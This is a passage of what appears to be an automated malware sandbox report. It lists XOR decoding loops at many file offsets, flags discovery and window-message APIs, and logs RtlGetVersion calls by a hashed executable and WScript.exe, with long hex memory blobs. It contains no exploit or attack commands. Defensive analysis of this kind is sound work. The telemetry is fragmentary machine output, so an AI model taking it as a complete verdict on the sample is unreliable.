"serverDriver.exe" at offset 974983; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 1198096; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 1199405; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 1282123; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 1338976; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 1413637; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 1525336; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 1628915; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 1689439; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 1793601; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 1801642; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 1821433; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 1833641; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 1860588; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 1874362; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 1885087; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 1982428; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 2050562; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 2300647; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 2408647; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 2564575; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 2594621; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 2642202; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 2645993; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 2702632; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 2761892; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 2890639; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 2936149; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 2989454; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 3031785; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 3090426; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 3091909; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 3322147; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 3404812; code bytes = 8030 Found XOR loop in file "serverDriver.exe" at offset 3544095; code bytes = 8030 Found XOR loop in file "WzVKQIZW.log" at offset 53198; code bytes = 33c1 Found XOR loop in file "WzVKQIZW.log" at offset 61979; code bytes = 8030 Found XOR loop in file "WzVKQIZW.log" at offset 63863; code bytes = 8030 Found XOR loop in file "WzVKQIZW.log" at offset 63869; code bytes = 8030 Found XOR loop in file "WzVKQIZW.log" at offset 63935; code bytes = 8030 Found XOR loop in file "wXSnOmjT.log" at offset 6606; code bytes = 8030 Found XOR loop in file "wXSnOmjT.log" at offset 38862; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 116795; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 260845; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 320157; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 320735; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 328251; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 343349; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 362101; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 454110; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 457234; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 462905; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 478532; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 486216; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 508210; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 653798; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 656140; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 679409; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 704457; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 765142; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 851487; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 911507; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 912289; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 915378; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 938289; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 942281; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 998468; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 999855; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1002542; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1052388; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1075683; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1247873; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1248823; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1286824; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1290486; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1327848; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1396893; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1436761; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1455948; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1637799; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1639961; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1671245; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1684205; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1773356; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1781514; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1844197; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1879357; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1891873; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1899352; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1915889; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1941250; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1975311; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1994673; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2058370; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2093497; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2168913; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2169684; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2339519; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2400918; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2404191; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2432909; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2509034; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2535173; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2895364; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2920160; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2982732; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3014188; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3168450; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3407874; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3489400; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3663974; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3674128; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3847405; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3850825; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3864894; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 57212; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 74271; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 74538; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 126615; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 130454; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 313753; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 317301; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 443703; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 448278; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 448766; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 449485; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 759996; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 888708; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 962194; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1066338; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1126365; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1128711; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1196914; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1219484; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1243136; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1245271; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1336276; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1352471; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1484027; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1493039; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1493979; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1580007; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1686055; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1693770; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1799988; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1913209; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1935702; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1969884; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1970491; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1972833; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2051878; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2101762; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2102148; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2116541; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2175489; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2281733; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2299574; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2445843; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2450980; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2497100; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2501726; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2511499; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2511651; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2565923; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2665284; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2733604; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2821222; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2839118; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2933943; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2959458; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3112151; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3181244; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3281547; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3294690; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3356646; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3496031; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3549225; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3556225; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3603287; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3632383; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3690238; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3772779; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 646832; code bytes = 30040e Found XOR loop in file "sample.bin" at offset 1684; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 52910; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 65387; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 65568; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 96816; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 110405; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 119796; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 121139; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 320700; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 612960; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 656219; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 658035; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 670015; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 675827; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 677872; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 690190; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 782738; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 888971; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 930532; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 973896; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1025909; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1124687; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1127330; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1221988; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1269270; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1296201; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1519314; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1520623; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1603341; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1660194; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1734855; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1846554; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1950133; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2010657; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2114819; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2122860; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2142651; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2154859; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2181806; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2195580; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2206305; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2303646; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2371780; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2621865; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2729865; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2885793; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2915839; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2963420; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2967211; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3023850; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3083110; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3211857; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3257367; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3310672; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3353003; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3411644; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3413127; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3643365; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3726030; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3865313; code bytes = 803031:T410,Found system information discovery API: "ExpandEnvironmentStringsW" in file "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199" Found system information discovery API: "GetSystemInfo" in file "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199" Found system information discovery API: "GetEnvironmentStringsW" in file "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199" Found system information discovery API: "ExpandEnvironmentStringsW" in "00000000-00005736.00000000.81734.00403000.00000002.mdmp" Found system information discovery API: "GetSystemInfo" in "00000000-00005736.00000000.81734.00403000.00000002.mdmp" Found system information discovery API: "GetEnvironmentStringsW" in "00000000-00005736.00000000.81734.00403000.00000002.mdmp" Found system information discovery API: "GetUserObjectInformationW" in "00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp" Found system information discovery API: "GetMonitorInfoW" in "00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp"32:T42b,Found reference to API "SendMessageW" (Indicator: "sendmessage"; File: "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199") Found reference to API "FindWindowExW" (Indicator: "findwindow"; File: "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199") Found reference to API "PostMessageW" (Indicator: "postmessage"; File: "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199") Found reference to API "SendMessageW" (Indicator: "sendmessage"; Source: "00000000-00005736.00000000.81734.00403000.00000002.mdmp, 00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp") Found reference to API "FindWindowExW" (Indicator: "findwindow"; Source: "00000000-00005736.00000000.81734.00403000.00000002.mdmp") Found reference to API "PostMessageW" (Indicator: "postmessage"; Source: "00000000-00005736.00000000.81734.00403000.00000002.mdmp, 00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp") Found reference to API "InSendMessageEx" (Indicator: "sendmessage"; Source: "00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp")33:T31b8,"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005736) "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000f880feffffffa04528005c9cb1650d0c0000c04528006f9cb165000000000000000000000000000000000000000000000000137962e5f4452800ee2db0651c462800000000008e00000068492800fefffffff4452800cf007d77d6007d779ca5bf778e000000470000006849280000000000c8452800284628003046280095e1787770e6eb00feffffffd6007d772f7b9175010000002f006406167b917594349ce50bdfd3750008000000000000681e5a002f00640647000000953994010846280000000000ffffffffbbc23d005c0000000bdfd37500080000400c3e00306a2800 (UID: 00000000-00005736) "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000042000500000000000000000000000000000064e3280054777c7740e228000000000014000000bf777c7700007f650000000000008000c0e22800f0007f6500000000000000000000000000000000000000000000000000000000000000001200140018e42800e8e328000100000000000000ff2b7c779c02bf770000000094015a0000005a006c03bf77c0718565250034000f00000000000000000000000a00ca00c6080000260032000f00000040e328002000000030705a00c6080000010000009ce328000000000018eb5d00206d5a00346e5a0028aa5e00b0705a00206d5a00 (UID: 00000000-00005736) "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000018000000000000000cf2280090f82800d0f92800a2e0b16553c8f880feffffffc4f828005c9cb165630c0000d8f828006f9cb16500000000 (UID: 00000000-00005736) "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000d07500000000000000000000cb75000000005caaf47300000000e4f82800e4f8280050b2067497b20674c38862e50000000014fa2800010000000100000014fa2800b4f8280010f92800d0f92800eed4fc7357294391feffffff97b206742bb30674000000000010000000000100fffffe7f03000000080000004a020000000001000600004f940000000600000001000000b11d00000200000053657276696365205061636b2031007f02000000000000008c470a7468345f008c470a740000000068345f0090f92800086d7c77188184770000000014fa28000000000084f92800 (UID: 00000000-00005736) "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000001800000000000000f4f028000000000050fb2800a2e0b16553c8f880feffffffacf728005c9cb1650d0c0000ccf728006f9cb1650000000000000000000000000000000000000000000000001fcb62e500f82800ee2db0650d0c0000ccf7280064a8f47364a8f473fe2db06534f82800010000000000000000008d730000000020f8280000000000000000000000000034f82800000000000000000000000000b3c462e528f82800186d917528f828002a6d9175000000000000000000008d73842e720100000000 (UID: 00000000-00005736) "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000e8004b6e0000000004e0270018e1270064e3270095e17877f8f8eb00ff2b7c77ac00b07744e14e6eac015a0000005a00000000000000000019007f00360c000002000000b08ecd01109a57004800ca011a007a00360c00003c0000000100000030705a000000000020000000000000000000000058ec5d00206d5a00406e5a00d0c15f00e8715a0044e1270040e02700b08ecd01c0e1270095e1787778fceb00feffffffff2b7c779a2a7c7744e14e6e34e14e6e00000000697465007374657200000000ace12700c88ecd013ce1270080f42877000057000000000089f42877 (UID: 00000000-00005736) "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005736) "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d0041003600420042003200310036002c89e2e7c8dba6026d8234778cee660004010000 (UID: 00000000-00005736) "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000620003000000000000000200000010f46600a8e36600206d5a003200020001000000f40100000a0000000000000000000000b0e36600c201000009000000e8715a00050000000000000032000000f0fb6600e8c6a602cc417d7710f4660028000000fc000000ff2b7c7780263175d8ebcf76ac015a0000005a002d001b00010000000000ffff1508000004000000010000002e001600010000001000000001000000000000000000000030705a00f8070000200000000000000000000000a8e36600206d5a00406e5a00c8f46600e8715a000000000064c6a60200000000e4c7a602 (UID: 00000000-00005736) "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ff2b7c7788073175ace8a602cc015a0000005a000000000000000000110061013d0700000ce1a602d4e7010124fba602a2e0b165120058013d070000c4e7a6025c9cb16510e8a602000000008e00000060e8a602feffffffe8e7a602cf007d77d6007d77800731758e0000004700000060e8a6020d0c0000bce7a60295e1787724e8a60295e1787770e6eb00feffffffd6007d772f7b9175010000005400a803167b9175e09a12e7 (UID: 00000000-00005736) "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000400c8c168000ceaa60204647c7738015a00e0637c77640a31750000000000005a00d0c168006dd1cf75239b12e76caed8760000000000000000d8be487738d7600050015a000100000000005a0050015a000c000000d0c1680050015a000200000218000000b2ab001952000000000000000000000003000000ace9a602800000007f07000000000000b2ab001952000000c075d77538d7600000000000c075d775c8e9a60210315a000000000000305a0020eaa602ff2b7c773c0a31757400000004025a0000005a003200d200010000000000000090020000000001012ce9a602 (UID: 00000000-00005736) "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005736) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000003700003b00000000320000000000102e380054ec170004647c7738013200e0637c77511a80770000000000003200182e38000000000000000000000004000000000038ec1700d77d7c7730ec1700010000004c5b9575000032005001320000000000000000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003a660000000000000000000100000000 (UID: 00000000-00005676) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000008e2170000000000f84e360002037e770002000088017e770000000064e41700a4017e7700000000626f7c7764f87c77b114807754116e6c14e3170000000000000077773ff0000054116e6c00000000000000002820320058e21700b69f7c7700000000000052746c496e697469616c697a65437269746963616c53656374696f6e000000006e6c000000000000000000000000a11480770ce21700000000006ce61700b114807724e21700020000003ce31700ff2b7c7735158077f83b36009c01320000003200c2146f6c240100000200770007000000f5f67c7749158077 (UID: 00000000-00005676) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000003200f803000020000000f2787e0100000000f8ed3500786d3200986e3200e8b73800407232000000000060e117000000000074e3170095e1787715eaeb00feffffffff2b7c779a2a7c7730206f6c941100000000000048007b013c000200010000003c00000001000000000000000000000010797e010000000000000000f0097b0111000000000000003c00000010c12800d0e21700cc417d7720a1280088000000fe030000020000000000000030206f6ce8b7380030206f6c00000000e8b73800a4e21700086d7c77188184770000000094110000010000000000000000000000 (UID: 00000000-00005676) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000006000000000000000000000034d2170000000000ff2b7c77a5248077b4603d6cac0132000000320064d417001a127e772700390003010000000000007850360002037e77000200002800340003010000a8d41700a4017e7788703200626f7c7720000000fd24807700000000f8ed3500786d3200986e3200b0b838004072320010ca38001cd21700ff2b7c779cd3170095e1787715eaeb00feffffffff2b7c779a2a7c77b4603d6cb4603d6c000000007cd31700c0a128000cd3170080f42877000028000000000089f42877f1fc5eed0200000080d317007cd3170000000000 (UID: 00000000-00005676) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000008077d0f0f56aac01320000003200ac013200000032001e006600080100001f0061000801000000000000f85036001f0061000801000020005c000801000088703200a4017e77200000000000000000000000f8ed3500786d3200986e320018ba380040723200f0b93800acd31700000032002cd5170095e1787715eaeb00feffffffff2b7c779a2a7c77d0f0f56ad0f0f56a0000000070f0f56a0000000014d5170048a22800a4d4170080f42877000028000000000089f4287759fb5eed0200000018d5170014d517000000000008797e0148007b0198017b0148a2280068d41700 (UID: 00000000-00005676) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000320000000000200000000000000000000000f8ed3500786d3200986e320040ba380040723200000000003cd317000000000050d5170095e1787715eaeb00feffffffff2b7c779a2a7c77585a766ba00f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000585a766b40ba3800585a766b0000000040ba380080d41700086d7c771881847700000000a00f000001000000c0d51700a2e0b165 (UID: 